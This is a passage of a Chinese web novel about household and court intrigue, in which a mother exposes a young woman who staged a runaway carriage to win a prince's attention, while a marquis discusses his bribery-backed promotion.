“嗯。”沈砚珩轻轻点头,“要不我到门口等着哥哥吧。”
“不用。”孟南枝拦下他,看了眼他非常精神的眼睛,问道:“珩儿你不困吗?”
沈砚珩摇头,“不困,时辰还早。”
他自小就喜欢晚睡,只是母亲离开后不知道罢了。
“既然不困,就帮母亲做点事吧。”
孟南枝思来思去,觉得沈砚珩一直被人蛊惑还是因为太闲,等他忙起来,有了自己的事情和爱好,自然而然就不会再去关注一些纯粹消遣的东西。
“母亲有什么事需要我帮忙尽管说。”
沈砚珩眼眸骤亮,母亲主动让他做事,他定是要好好做的。
怎么也得扭转近日在母亲心里的坏印象。
孟南枝道:“你带几个奴仆去仓库准备两车物资。”
“好。”
沈砚珩今日刚同母亲一起去过,虽然没有认真听,但也知道个大概,那是母亲准备着可能发生洪灾救人用的。
眼下既然开口让他去,定是非常紧要的事。
当下不敢耽搁,带上江鱼和几个奴仆就出了门。
约莫半柱香后,长子沈砚修骑着马从明家赶了回来。
“母亲,我问过明家的门房了,说明夫人是西时三刻走的,如果赶得快一些,我估摸能在丑时赶上。”
孟南枝算了下时间,还算可以,便安排道:“既然如此,等将军安排的人过来,你便随他们跑一趟,我让珩儿去带了两车物资,你一同给明夫人送过去。”
两车物资,不算多也不算少。
顾十几个人用上个把月都不成问题,但考虑到明程氏若是舍己救人。
真按赈灾的形式去用,也能保几百人用上数日。
怎么也能撑到开仓振粮。
安排长子亲自去送,她也是有私心的。
巨幕中,明家母女因洪水决堤去世后,长子在圣上心中的印象一直便不好。
孟南枝非常合理地怀疑,当年明将军一事,只怕没有表面那么简单。
第73章 这次是真真切切地晕了过去
对于母亲的安排,沈砚修自是没有异议。
他自幼便信赖母亲,如今长大后再与母亲相处,更觉得母亲为人果断、做事妥帖,有很多他值得学习的地方。
只是抬头看向正厅的方向时,才后知后觉地想起,他好像忘了去扶晕倒的陆筝筝。
也不知道她怎么样了。
但这想法也只是简单地在脑子里过了一瞬。
在他看来,陆筝筝在明知那是外母亲遗物的情况下还来讨要,完全失了身为小辈的分寸。
这与他以往所认知的“筝妹”大相行径。
那语气和言辞,倒是和婉姨逼迫母亲跟父亲回侯府的情形太相似了。
相似到让他突然心生厌恶。
还好今日母亲未看到她,若是知道陆筝筝来讨要外祖母的遗物,只怕是堵心了。
他之前虽然不喜欢带着观棋,但对于观棋的眼力劲还是非常认可的。
他既然交代了观棋送陆筝筝回去,那么观棋就一定会送她回去。
距离孟府不远的长街上,被沈砚修厌恶的陆筝筝坐在马车里越想越生气。
今日不仅未能取回及笄礼,反倒被一名微不足道的奴仆讽刺嘲笑。
沈砚修不仅对她露出厌恶的情绪,还对她晕倒后置之不理,只简简单单地派了一名书童送她归家。
这一桩桩,一件件,自从她与母亲踏入镇北侯府以来,何时曾再受过如此委屈。
一切皆是因为南姨回来。
思此,陆筝筝揉了揉袖帕,抬手撂开车帘,柔柔弱弱地同跟在马车后面的观棋道:“观棋,今日怎么没有见到南姨?南姨是出去了吗?还有跟在世子哥哥身边的那个人是谁?怎么没有见过?”
观棋加速上前走了两步,低垂着眉眼,只回答了自己可以回答的问题:“回姑娘,那是二公子的书童。”
沈砚珩的?
他不是一向不留用书童的吗?
陆筝筝面上挂了虚伪的假笑,感叹道:“是南姨为珩弟寻的书童吧?南姨对珩弟可真好。”
观棋沉默未答,主子的事不是他能议论的。
再说瞧她这话问得,夫人是公子的母亲,不对公子好难道要对她好吗?
那不是本末倒置了嘛。
不理解那种对别人子女比对自己子女还要好的。
没苦硬吃,还要逼着自己的子女吃。
见他不接自己的话,陆筝筝暗暗揉搓了两下袖帕,轻声说道:“观棋,就送我到这里吧,你且回府照看世子哥哥。”
观棋跟紧着车子,恭敬地回道:“世子吩咐小人务必护送姑娘回府,小人自当将姑娘安全送达。”
陆筝筝闻言,轻轻咬了咬下唇。
这个观棋简直比那刘嬷嬷还要难缠得很。
规矩,不多话。
母亲进府整整一年,都未曾寻到他的错处。
眸中闪过算计,陆筝筝面上依旧是楚楚可怜的模样。
“观棋,你且先回去吧,城内安全,再说我还有丫鬟和车夫跟着,出不了事的。我是担心刚才世子哥哥走得急,怕他万一有事,你又不在,让他等着急了,耽误了正事。”
观棋不为所动,依旧紧跟着车子道:“小人先送完姑娘再回府也是不耽误的。”
他是一个书童,世子能寻他有多大事。
这么多年了,因为她们母女的离间,他也不是天天跟在世子身边。
而且现在夫人也回来了,有夫人在岂不是更放心。
陆筝筝一直催他回府,不让他跟着。
有些反常,他就更不敢直接回府了。
若是出了事,他小命都耽搁不起。
见他依旧不为所动,陆筝筝暗攥了攥衣角,一个书童而已,竟然三番两次不听她的命令。
心里生了气,她便对身边的丫鬟示意。
身为陆筝筝黑替的丫鬟,当下便黑下脸对观棋骂道:“姑娘说不用送就不送,你是听不懂人话还是故意违抗姑娘的命令?别以为仗着是世子身边的书童,就能在这耀武扬威,也不看看自己是什么身份!”
观棋早就习惯了她们这主子面上一套,丫鬟背里一套的模样,也不开口反驳,依旧静静地跟着马车。
丫鬟见状也是没了脾气,便是同车夫说道:“速度快点。”
只能看到半个侧脸的车夫闻言,轻应了一声,手臂轻飏甩动缰绳,“驾!”
老马吃痛,顿时加速跑起来,带着轻小的马车几息之间便消失在空荡的街头。
观棋用了最快的速度也没能跟上。
他跺了跺脚,转身就往孟府跑。
赶紧回去告诉夫人,这陆姑娘明显一看就是在寻事。
陆筝筝的马车并未赶往镇北侯府,而是在中途绕了弯,转到了奕王府附近。
及笄礼没有拿到,今日的任务就没有完成,她不想回府挨母亲的训斥。
想到相貌不俗,多才贵气的四皇子萧临渊竟然对她另眼相待,陆筝筝心里就填满了兴奋。
她打听过了,萧临渊一般都在这个时辰点回府。
她拿不回及笄礼,只能先去搏一搏四皇子萧临渊了。
只有把母亲交代的事情做好了,母亲才不会……
想到这里,陆筝筝低垂的睫毛颤了颤,对丫鬟和车夫轻轻嘱咐了两句,让他们两人都下了车。
车夫按照陆筝筝的叮嘱,用力在马屁股上扎了银针,那马便受惊似的鼻孔喷出白雾,四蹄翻飞地往前跑起来。
马车颠簸,晃得陆筝筝整个身子发软,面色苍白得快要吐出来。
若是没能撞到萧临渊,那她今天就损失太大了。
就在她快要忍不住对车夫喊停时,一道人影飞速奔过来切断缰绳,紧接着又一道身影穿进马车。
晃得眼晕的陆筝筝下意识就往对方的怀里钻,还未抬眸,怯生生的声音便先溢出了口,“奕王,我怕。”
强壮的百万吓得把她推开三尺远,站起身一下子就把快要散架的马车撞出了个洞,捂着自己的两道胸脯道:“你……你……你干嘛呢,莫……莫……要毁我清白。”
被推落跌出散架马车的陆筝筝抬头一看,大脑一片空白,这次是真真切切地晕了过去。
似笑非笑的孟南枝。
面色清冷的谢归舟。
还有刚刚踏出奕王府的四皇子萧临渊。
全都一瞬不瞬地看着她。
第74章 他身子往后移了几寸
孟南枝第一次交代次子去办事,虽然有家仆跟着,还是有些不放心。
她站在庭院内,目光时不时地看向次子去的方向,一时未曾察觉到长子的表情及心态变化。
好在沈砚珩很快就带着江鱼,将物资给拉了回来。
未进府院,直接放在了巷口。
“母亲,看看,没错吧。”
少年第一次为母亲做事,心里满是求夸的期待。
孟南枝检查了一遍车上的物资,粮草、衣物、药品,搬得很全面。
便温笑地看着次子,非常肯定地说道:“没错,做得很棒,就是这些。”
少年眉眼间的阴郁已经消散了很多,变得逐渐清亮。
母亲都看了,还看得很仔细,检查完才夸他的。
和父亲每次连看都不看的敷衍不一样,母亲有认真对待他的任务成果。
真好。
江鱼不解地拿胳膊肘碰了碰他,“傻笑什么呢?”
沈砚珩对他抬了抬下巴,眉眼间都是傲娇的笑,“看到没,我母亲。”
江鱼无语地撇了撇嘴,这一天天的都跟他说多少遍了,我母亲,我母亲。
他一不是傻子,二不是瞎子,还能不记得那是他母亲?
跟谁没有母亲似的,一个劲地和他炫耀。
孟南枝交代他们在物资上铺满油布,避免到了山城边界处被雨水淋湿。
谢归舟带着几位侍卫过来的时候,看到的便是她认真检查油布是否遮盖严实的模样。
虽然前两日下了雨,但天气依旧燥热。
她才沐浴过后的额间又生了汗意,沁出的汗珠顺着绯红的面颊流向纤细的脖颈。
脖颈的那道伤疤依旧未好,边缘泛着淡淡的红,被薄汗映得微微透亮。
他握指成拳,指尖陷入掌心,清洌的眸色瞬间暗了几分。
是他没能护好她。
检查完油布的孟南枝看到谢归舟过来,清亮的眸子里带着笑意,“将军。”
而后将目光移向他的身后,六名装甲侍卫骑着马,满身肃穆,带着杀气,一看就是经历过生死战场的精英。
当下便满意地对长子沈砚修说道:“事不宜迟,你快去吧。”
沈砚修动作利索地翻身上马,“母亲,我去了。”
孟南枝点头,身后的次子沈砚珩突然拉了拉她的衣袖,“母亲,我也想去。”
他刚得了母亲的夸赞,兴奋之情还未消散,眉眼之间全是期许。
虽然次子没有跟去的必要,但孩子的积极性不该给予打击。
孟南枝便未拒绝,鼓励地笑道:“那你小心点。”
以为母亲不会同意,心里有些忐忑的沈砚珩眼睛骤亮,闻言当下便从府院牵出马匹跟在兄长的身后。
江鱼也两脚一蹬,跟着他上了同一匹马。
谢归舟见状对钱飞示意,让他也跟着。
钱飞立刻会意,翻身上马,紧紧跟在沈砚修和沈砚珩的队伍后方。
一行人轻装上阵地朝着城门出发,马蹄声在寂静的街道上回荡,显得格外有力。
几人走后,院内一时清静下来。
孟南枝站在巷口,望着他们远去的背影,眼神中既有担忧也有欣慰。
只愿明家母子莫要中途生了事,能够安稳到达边关。
谢归舟看出他眸中的忧虑,温声道:“别担心。”
孟南枝颔首,对他轻轻施了一礼,“多谢将军。”
她能感受得到,谢归舟额外安排钱飞过去,是为了保护长子他们兄弟俩的安全。
这份妥帖和情意,她不能当做不知,也不该无功享受。
谢归舟示意她不必如此多礼,“明家母女是明将军家属,我理应照拂,倒是有劳两位公子跑一趟了。”
她不该因此而对他心有负担。
孟南枝闻言眉目含了笑,她又发现谢归舟一个优点。
挺会安慰人的。
巷口传来急速的奔跑声,观棋急匆匆地赶过来,“夫……夫人,陆姑娘可能出事了。”
陆筝筝?
孟南枝平静道:“慢慢来,说清楚。”
观棋歇了几息后,将沈砚修安排他送陆筝筝回府,陆筝筝却半路非要赶他走,他觉得不正常的事讲了一遍。
孟南枝眉峰微蹙,按照巨幕中的情形,陆筝筝就好像命中主角一样,只要跟她做对,结果都不算太好。
若她真是生了事……
孟南枝抬眉,对观棋道:“带我去看看。”
谢归舟道:“骑马吧。”
说罢,他对府门口探头探脑的百万打了个手势。
单纯的百万挠头:将军什么意思?不让他看?
谢归舟按了按脑壳,沉声道:“牵马过来。”
聪明的百万懂了,将军要出去。
麻溜地牵了两匹马小跑过来。
谢归舟语气沉冷,“再牵一匹。”
百万摇头,“没了。”
平日里一共就将军和钱飞他们三个人骑,刚才钱飞骑走了一匹,现在就剩下这两匹马了。
战马自然要比马车快,所以孟南枝牵过缰绳,没有犹豫利落地踩着马镫翻身上马,低头看向观棋。
观棋见状,连忙跑起来在前面带路。
太慢了。
孟南枝皱眉,“观棋上马。”
观棋停下来摇头,“夫人,我不会骑马。”
世子出门不常带他,所以很多技能他都不会。
“上来。”
孟南枝没有犹豫,俯身伸手就想要拉他与自己共骑一匹。
可自己刚要拉住观棋的手时,就见他被一双有力的双手托住,直接扔到了另一只马背上。
“百万,你带着他。”
谢归舟面色清冷,看不出情绪,接着轻轻一跃便坐落在孟南枝身后。
百万闻言,连忙上了马,与观棋共乘一骑,并将他护在身前。
身后传来温热的气息,并带着股松脂香,但好在谢归舟虽然与他共乘一骑,却并未紧挨着她,而是保持一掌的距离。
孟南枝面色平静,当下便对观棋道:“带路。”
夜色如墨,孟南枝甩动缰绳,战马四蹄奔腾,带出的轻风把街道两旁的烛火炸出绚烂的碎花。
未干的发丝随着马匹的奔腾,向后缠绕在谢归舟的脖颈上。
身下虽然隔着距离,但她身上的幽香却不断地涌入自己的鼻息。
自己心心念念的人与他的距离只有指尺,低头还可以看到她细嫩的皮肤和小巧而精致的双耳。
谢归舟双眸情绪翻涌,看了眼腰下,双手紧握,身子又往后移了几寸。
还是坐太近了。
第75章 没想到还会有这意外之喜
四人沿着街道转了几圈,终于在奕王府门口看到了那辆失控的马车。
勒紧缰绳让马停下来,马前蹄上扬,孟南枝身子跟着往后褪了一下,刚要贴上谢归舟的身子,就见他抬起手臂稳住她,接着轻按马背轻跃了下去。
挺有礼节。
孟南枝低头看了他一眼。
夜色打在他的脸上,完全遮盖了情绪。
百万也勒马停下,跃下来跑到谢归舟面前,“将军,救吗?”
谢归舟已恢复清冷的样子,抬眉看向孟南枝,目光带着询问。
孟南枝翻身下马,目光落在娇弱弱喊救命的马车上,轻轻吐出一个字,“救。”
随着她的话音落地,谢归舟飞身上前控制失控的马,百万在他的指示下冲进了马车里开始救人。
紧接着,便看到强壮的百万将马车撞散了架,捂着自己的两道胸脯道:“你……你……你干嘛呢,莫……莫……要毁我清白。”
而柔柔弱弱的陆筝筝被他推落散架的马车,跌到地上,直挺挺地晕了过去。
没想到还会有这意外之喜。
孟南枝目光从陆筝筝身上移开,落在刚踏出奕王府的四皇子萧临渊身上,眸中含了笑。
真巧。
没白救人。
目睹半个过程的萧临渊,眸色微闪,唇角一如既往地噙了笑,走近两步,对谢归舟微微施礼,“国舅。”
又对孟南枝道:“枝枝姐。”
最后才将视线落在晕倒在地的陆筝筝身上,“不知这是发生了何事?”
谢归舟面色冷清,言简意赅道:“马惊。”
强壮的百万悄摸摸地下了马车,站在已下马躲在一侧的观棋身后,并弯腰降了降身子,试图让观棋档着自己。
他是蠢笨些,但还没傻到看不出奕王扫向他的眼神。
跟想刀了他一样。
他真不知道自己哪里得罪他了。
萧临渊闻言颔首,弯身探了探陆筝筝的鼻息,对身后扬声道:“洪太医。”
跟着萧临渊出来后,同样目睹半个过程,躲在阴影里的洪太医,闻言暗打自己的嘴巴,笑眯眯地背着医箱走了过来。
“将军,孟姑娘。”
他先是躬身对谢归舟和孟南枝分别行了一礼,才按照萧临渊的指示去给地上的陆筝筝看诊。
“陆姑娘并无大碍,只是气血逆冲,心神失守导致的昏厥,休养一下便可痊愈。”
洪太医说罢,便非常规矩地往后退了几步。
他想好了,这次无论如何也要控制住自己的双腿,能走就走,绝不往前凑。
哪知孟南枝根本就未能如了他的意,面上挂满不达眼底的担心,“休养多久才算好?洪太医还是仔细地再瞧一瞧才好,莫要让筝筝在地上躺久着了凉。”
看萧临渊弯身的举动,难不成要将昏倒的陆筝筝亲自抱起来?
那她怎么会让陆筝筝如了意。
毕竟陆筝筝若是如了意,就等于林婉柔如了意,林婉柔如了意还等于沈卿知如了意。
他们若如意,自己和子女就不如意了。
洪太医闻言暗暗叫苦,却不敢违背孟南枝的意思,只得半蹲上前,打开医箱,取出银针,开始让陆筝筝强行清醒。
几针下去,陆筝筝的眼皮动了动,却始终不曾醒来。
陆筝筝醒了,但她不敢醒。
只能继续装晕。
孟南枝见状俯下身,从洪太医手里捏过银针,“洪太医,你这动作太轻了,我试试。”
“这不妥吧。”
洪太医嘴上说着不行,身子却是诚实地松开了捏在手里的银针。
他控制不住自己想看八卦的心。
毕竟他诊出来了,昏倒在地上的陆姑娘是醒着的。
萧临渊盯着孟南枝手里的银针,“枝枝姐会医了?”
孟南枝轻瞄了他一眼:“不会啊。”
她又不是神,看什么一眼就会。
她都说了,试试。
“那还是交给洪太医看吧。”
萧临渊抬手便想去取她手里的银针,却被一旁的谢归舟按住了手。
“让她试试。”
谢归舟语气很轻,却不容拒绝。
被阻止的萧临渊眸色暗了暗,在他的制止下便未再上前。
孟南枝手握银针,就要扎进陆筝筝的穴位时,只见她悠悠地睁开了眼,渲染若泣的眸子里全是懵懂的茫然。
接着便突地一下扑在了孟南枝怀里,哭得声声凄凄,“南姨,筝……筝筝好怕,幸好是南姨救了我。若不是南姨,筝筝以为自己要死了。”
只字不提刚才出糗一事。
啧—
孟南枝有些嫌弃地拨开她,站了起来,将银针还给洪太医,“瞧瞧,这不是醒了。”
洪太医接过银针,昧着良心夸赞道:“孟姑娘实在是‘医术’精湛。”
这女人的病还得女人医,他是医不动。
谢归舟盯着孟南枝嘴角微微上扬,他就喜欢她这自信傲娇张扬的模样。
孟南枝低头瞧着被她拨开,顺势跌坐在地上面上一直落泪的陆筝筝,唇角轻勾,直白地问道:“筝筝你何非要把送你回府的观棋赶走,还把马车绕到了这里,这和镇北侯府完全是两个方向吧?”
陆筝筝身子一僵,睫毛微颤,抬起一双湿漉漉的眼眸,可怜巴巴地说道:“南姨,我……我也不知道为什么,马突然就惊了。”
孟南枝环顾四周,“车夫和丫鬟呢?怎么就你自己?”
似是被孟南枝吓着了,陆筝筝又落了泪,哭得更加梨花带雨,“我也不知道,马惊后,筝筝脑子一片空白,什么都不知道了。”
说到此处,她突然抬手扶了扶发髻。
巷口便跑来两道混身脏兮兮的身影。
“姑娘,您没事吧?”
陆筝筝的车夫和丫鬟齐齐跑过来解释,“都怪小人,是小人没看好马,让马受了惊,这才惊着了姑娘。”
孟南枝目光略过刚才骑马过来并无人影的位置,眸子笑意不达眼底。
还真是巧得太过刻意了。
谢归舟却是盯着那马夫,突然冷声开口道:“这根针是你扎在马上的?”
谢归舟手里的银针还带着血迹,那是他刚刚从马屁股上拔出来的。
一般的马,不会无故受惊。
更何况观棋说了陆筝筝的不寻常。
萧临渊见状轻轻转动手中板指,唇角一直勾着的笑意淡了下去。
第76章 惊喜来得太快,她有些反应不过来
萧临渊身为皇子,见过很多肮脏的手段。
谢归舟举起的那根针,他又岂会看不出深意。
车夫脸色瞬间变得煞白,额间沁出冷汗,结结巴巴道:“不,不是小人,小人怎会做这种事,小人也是因为马惊滚落到了地上。”
他说着并抖了抖身上沾满灰的衣服,示意自己也伤得厉害。
这是他看到他们过来后,刚在地上滚的。
谢归舟轻哼一声,目光移到丫鬟身上。
丫鬟吓得跪在地上战战栗栗,根本不敢抬头。
她没办法解释为什么姑娘在车里,她却滚出了马车外。
陆筝筝低垂着头,攥紧了手中衣袖,她没想到事情会败露得如此之快。
全怪南姨。
不仅不让世子哥哥理她,还害得母亲名声都不好听了许多。
眼下竟然还让屠戎将军亲自为她出头。
她到底凭什么。
可无论如何她今日都不能认这罪,认了就都完了。
她强压下心底的慌乱,学着母亲往日处事的态度,突然起身挡在车夫和丫鬟面前,对着谢归舟即倔强又害怕的怯生生道:
“将军,这其中是不是有什么误会,筝筝的车夫对待筝筝素日里最是忠心不过,是不可能做这种的事。”
“再说他若是想害我,何至于扎在马尻上,直接扎在我身上岂不是更省事。”
车夫连连称是,“是啊将军,小人是真不会害姑娘的。”
丫鬟也跟着道:“是的,将军,奴婢也是忠心耿耿,绝不敢害姑娘的。”
孟南枝轻轻啧了一声,不亏是林婉柔的女儿。
脑子反映得真快。
既表现了护仆的情谊,又推脱了他们作案的可能性。
还能在萧临渊面前刷下好感。
可孟南枝既然骑马赶来,就不是为了让她如意,便嘴角噙笑嘲讽道:“是不会故意害主子,但会帮主子攀高枝啊。”
洪太医托了托医箱:孟姑娘的嘴,还真毒,一针见血。
陆筝筝慌了一把,眼泪“啪嗒、啪嗒”落一地,“南姨你怎么可以这样说筝筝,那马惊得乱跑,筝筝命都快没了,难道筝筝会连自己的命都去害吗?”
孟南枝点头,肯定道:“难道不会么?”
陆筝筝哑舌,她轻轻抬头看了眼冷清的谢归舟,又瞟了瞟面色沉下来的萧临渊,突然起身往旁边的车轮上撞去。
只是刚起身,就被孟南枝一把拽回了原地,她红着眼睛委屈地说道:“南姨你为什么要拉筝筝,筝筝想以死证明清白不行吗?”
孟南枝摇头,语重心长,“筝筝啊,你步骤反了,应该跟你母亲多学学,先嚎两嗓子再撞,给别人个准备的机会,这样别人才有充分的准备去救你。”
若非她手头快,就又让陆筝筝这小丫头给得逞了。
陆筝筝的动作在场人都看到了。
萧临渊最先动的身子准备救她,偏偏被一直站在他身侧的谢归舟给压制下来。
陆筝筝这次是真委屈了,南姨不仅口头欺辱她,竟然还真的叫她去死。
她哭得撕心裂肺,肝肠寸断,“南姨你为什么不信筝筝,筝筝真的没有故意陷害自己,筝筝怎么说也是清白人家,怎么会拿自己的清白去换什么高枝。”
清白?
孟南枝脑海里闪过巨幕中陆筝筝与萧临渊无数次堆叠在一起的画面,觉得陆筝筝简直是侮辱了“清白”二字。
她甩开脑子里黄到不忍直视的画面,松开拽着陆筝筝手臂的手,轻柔地劝慰道:“要不,你再试一次,南姨这次保证不拉你,但一定要记得先嚎两嗓子再去撞。”
到底是年纪尚小,心机不深,还有些莽,学她母亲还没学到精髓。
孟南枝不信她失了第一次撞车轮的冲动后,还有胆再用力去撞第二次。
陆筝筝闻言果真傻了眼,她好不容易才鼓起勇气撞一次。
再起来撞一次岂不是如了南姨的意,而且刚才萧临渊好像就没救她,再撞的话是不是还不会救她……
那她撞了还有什么意义。
见她干哭不动后,孟南枝又笑着问道:“筝筝呀,你是不是心议奕王啊?”
萧临渊:?
当着他的面问是不是有些不合适。
洪太医:“……”
太莽了,实在太莽了,孟姑娘这是明着把这小陆姑娘的脸面往地上踩啊。
谢归舟眉眼里全是笑意,她还是如此,即小人又张扬。
陆筝筝苍白着脸摇头,“筝筝不敢……”
这话怎么可以摆到明面,她若是承认,岂不是说明今日这马就是故意撞到奕王府门口的。
孟南枝叹气,语气中满是可惜,“南姨还以为你支开观棋故意往奕王府这边的街道走,是心议奕王呢。若是你心奕王,可以和南姨说的,南姨怎么说也与奕王有旧,可以替你说道一下。”
说到此处,她抬眼看向萧临渊笑盈盈地道:“是吧,奕王。”
巨幕中的萧临渊对陆筝筝一见钟情,被她柔弱的小白花形象所吸引。
后来又因为陆筝筝对待感情的摇摆不定,开始对她进行豪取强夺。
两人一直到他登上高位,才摊开心扉明确心意。
眼前这么明显的故意设计钓人,再加上她已经把话挑到这么明白的份上。
若是萧临渊最后还是跟陆筝筝牵扯在一起。
那孟南枝便肯定,他们两人中间那根线就绝对不是纯粹的感情了。
萧临渊看着孟南枝十年未改,依旧笑得明艳的脸,再看看还在落泪,娇滴滴的陆筝筝,眸色深沉,转着手中板指,笑道:“枝枝说得对。”
谢归舟闻言,内心却是咯噔一跳,萧临渊对孟南枝的称呼少了个“姐”字。
孟南枝未觉,她今日势必是要完全切断他们两人中间那根线的,总不好让陆筝筝真的攀上高枝,沈卿知和林婉柔一直如意下去。
所以她又直白地对萧临渊问道:“那奕王可对筝筝有意?”
谢归舟目光落上萧临渊的俊郎的脸上,眸色情绪翻涌。
孟南枝未婚前,萧临渊就喜欢缠着她,她也总是待他亲和。
两人相处的画面涌到眼前,谢归舟握指成拳,突然开口道:“临渊你等下可有事?”
正准备回答孟南枝问话的萧临渊摇头,“无事。”
谢归舟语气平静道:“那你把陆姑娘送回府吧。”
等着萧临渊回话的孟南枝:?
红线刚切到一半,玩呢。
哭哭啼啼失了脸面的陆筝筝:?
惊喜来得太快,她有些反应不过来。
第77章 总不会是图孟南枝这个人吧
夜幕下的谢归舟面色清冷,身上的白衣裹着挺直的脊背,浸发着威严与矜贵。
“夜凉,陆姑娘又受了伤,诸事且等明日再议。只是这车夫和马车都需扣下,待我查清楚再做定夺。”
他说这话时,声音虽然平和,却根本没有给任何人反驳的余地。
将军的话就是命令,所以百万听到后,立马就过去把散架的马车整理起来。
让观棋帮忙牵着,同他一起带到将军府。
走的时候顺便骑走了自己的坐骑。
娇滴滴的陆筝筝也不再掉泪,默默地站直了身子。
她刚说了自己不敢心议奕王,若是马上就听谢归舟的让奕王送她回去有些掉面。
总归是要作态一下。
所以她睁着一双湿辘辘的眸子看了眼萧临渊,让他看到自己的可怜兮兮。
而后才怯生生的对将军行了一礼,“多谢将军关怀,筝筝可以自己走回去的。”
母亲说,扮弱的时候也要适当地扮强,只有保持新鲜感,才不会让男人厌腻。
谢归舟垂眉俯视她,眸子里带了毫不掩饰的厌恶,“你是觉得本将的安排有问题?”
“筝筝不敢。”陆筝筝有些窒息,将军让奕王送她,难道不是在关心她?
怎么对她说话还这么搁人。
无视她的神情,谢归舟目光落在萧临渊身上,“临渊呢?”
萧临渊默默地转了转手上的板指,唇角再次勾上笑,“国舅安排妥当,临渊这就送陆姑娘回府。”
虽然不知道谢归舟为何突然让他送陆筝筝回去,但总归于他并没有任何损失。
“陆姑娘请。”夜送娇女,倒也是别样滋味。
陆筝筝娇滴滴地跟在他身侧,走得千姿百媚,“谢奕王。”
“将军,孟姑娘,微臣也先走一步。”
见主家都走了,洪太医也背着医箱连忙告辞。
镇北侯家的事,是事事透着出奇。
他今日又长了见识。
孟南枝目光落在陆筝筝和萧临渊并肩离开的背影上。
心中思绪万千。
倒不是责备谢归舟,谢归舟阻止她也算不上有错,她是有些过莽了。
一个城府深沉的皇子,怎么可能受她胁迫,去吐露自己的心事。
即便说了,又怎么肯定能是真的。
夜色打在她的身上,孟南枝的表情没有任何变化,能帮沈卿知做到侯爷之位,她早做到喜怒不形于色。
偏偏谢归舟就是能从她的低垂的眼尾中看出她心情不好。
不仅不好,还有些丧气。
终是他坏了她的兴致。
他盯着她的发髻,动了几次喉结,才温声开口,“要不要去吃点东西?”
气饱了。
“不饿。”
许是这两天与谢归舟相处得太过和谐,孟南枝的语气中带着她自己都没有注意到的娇憨。
谢归舟闻言眸中含了笑,“我饿了,陪我去吃点东西吧。”
院内的守卫说,她从外面回来就直接上了楼阁,算着时辰,就是没有吃饭的。
孟南枝将视线收回,移到他的脸上。
棱角分明,面色冷俊,偏偏眉目温和,眼尾墨痣在光下透着妖冶。
对着这样一张脸,她郁气散了些,微微颔首,“将军想吃什么?”
“你想吃什么?”谢归舟温声道。
郁气消散后,孟南枝倒真觉得有些饿了,“吃面吧,阳春面。”
反正今日已经把陆筝筝的算计揭开,真真切切地摆在了萧临渊面前。
就看接下来他俩怎么发展了。
红线若是切不断,就证明这条道走不通。
走不通就换条道。
换条道还走不通,就踏出一条道。
到最后若还是真的走不通。
孟南枝眯了眯眼,那就只能按照长子的路子走了。
谢归舟盯着她舒展的眼尾,眸中涌出笑意,“好,阳春面。”
……
镇北侯府,沈卿知的伤势依旧未好,因着沐休在家整整趴了一日。
不是他不想动,而是动一下就痛得要命。
沈二叔得知他竟然认了罪,气得在他寝房骂了他半宿。
“我才外出一日不在京,你就能又惹出这等事。你身为镇北侯,怎么可以直接认罪,你这以后在朝堂面对官僚将如何相处,让沈家又如何自处。”
沈卿知同样生气,他不在场,他怎么知道他没有反驳,“屠戎将军坐在正堂,奕王也在,有人证在场,那麻子与那男人确实有关联,二叔你说我该怎么反驳。”
“而且闵大人定的罪是主家连坐,这个罪名朝中官僚不少人都有,二叔不必过于担心。”
“别人的主家连坐是底下奴仆互相矛盾,你的主家连坐可是诬陷自己妻子,这能一样?”沈二叔气结,你有罪你还有礼了不是。
定个自己给自己戴绿帽子的罪。
沈二叔越想越气,“你当时就不该认,这件事明显就是那林氏做的。你之前就该听我的,休了林氏,把南枝给请回来。”
不管是屠戎将军,还是奕王,都曾是孟太傅的学生。
判的这个案子,明显就是在替孟南枝出气,肯定是受那孟太傅的指示。
若不然,怎么可能还把荷风宴当晚欺辱过孟南枝的夫人都叫过去。
也只有为女致仕的孟太傅能做到此种地步了。
要不然屠戎将军他大费周章地图什么。
总不会是图孟南枝这个人吧。
他都伤了根基。
“我问过了,这事跟婉柔没关系。”沈卿知打断他的联想。
“这事都摆到明面上了,你竟然还说不是她。”沈二叔越来越觉得这林婉柔就是个祸害。
沈卿知眸色闪了闪,“二叔,林父今日给婉柔送了三万两银子,他与林相递了话,我升职一事也有着落了。”
“这……那……可能,真不是林氏干的。”沈二叔被权钱炸晕了。
你别说,唉,你还真别说,他现在都觉得他这大侄子认这罪认得值了。
若是他年轻的时候,能有个够愿意为他一掷千金、还到处给他跑关系升职的岳丈。
也不是不可以替她认罪,哪怕挨上个十几棍。
两人正说话间,有小厮轻轻叩门报备,“侯爷,奕王来了。”
“这么晚了,他为何会来?”沈卿知忍痛从床榻上坐起来。
小厮低声回话,“奕王送陆姑娘回来。”
沈二叔闻言与沈卿知对视一眼,亲自扶着他穿上鞋子,套上外衣,一同走向正厅。
萧临渊坐在正厅,脊背笔挺,嘴角含笑地与娇滴滴的陆筝筝低声细语。
林婉柔温柔地坐在一侧,看到沈二叔扶着沈卿知过来,傲视地抬了抬下巴。
这沈家早晚要以她为主。
第78章 胆小的少年,如今胆大了不小嘛
直到萧临渊停下说话的声音,沈二叔与沈卿知才敢走到萧临渊面前,双双行礼,“臣,参见奕王殿下。”
“起吧。”萧临渊颔首,自带威严。
目光落向沈卿知有些发颤的后背,萧临渊唇角勾了勾,“镇北侯身子可是好些了?”
沈卿知连忙拱手,面色激动,“臣无大碍,多谢奕王关怀。”
目光落在坐在奕王身侧,不知奕王说了什么,小脸娇羞红润的陆筝筝身上,沈卿知眸色闪了闪,又接着道:“还要多谢奕王送小女回府。”
陆筝筝并非沈家女,但他却自称小女。
萧临渊又岂会看不出他眼底那对权力欲望的迫切渴求。
但,他不在意。
毕竟哪个靠近他的人没有目的,越有野心,越能干事。
关键是不要愚蠢。
“听说镇北侯马上要升职了,恭喜。”
萧临渊面上含笑,对为何送陆筝筝回来一事只字未提。
能得奕王肯定,那证明这事是真的成了。
沈卿知掩饰不住喜意道:“承蒙殿下厚爱,臣定会尽心竭力,不负圣恩和殿下栽培。”
萧临渊微微颔首,淡淡笑着,若是有人仔细看,便会发现他这笑从未抵达眼底。
沈卿知说的话就有些过了,毕竟他升职一事自己并未出力。
但臣子的献媚他见得多了,内心也起不了多少涟漪。
神情自若地与他们又说了几句话后,便告辞出了府。
萧临渊走后,沈卿知深呼一口气,看向面上红晕未下的陆筝筝,“筝筝,奕王今日又约了你出去?”
陆筝筝提着的心直到萧临渊走才松下来,她还以为萧临渊会揭穿她在故意设计去奕王府门前一事。
哪知他全程提也未提,对她说话也一直温和有礼。
简直是样样都落在了她的心尖上。
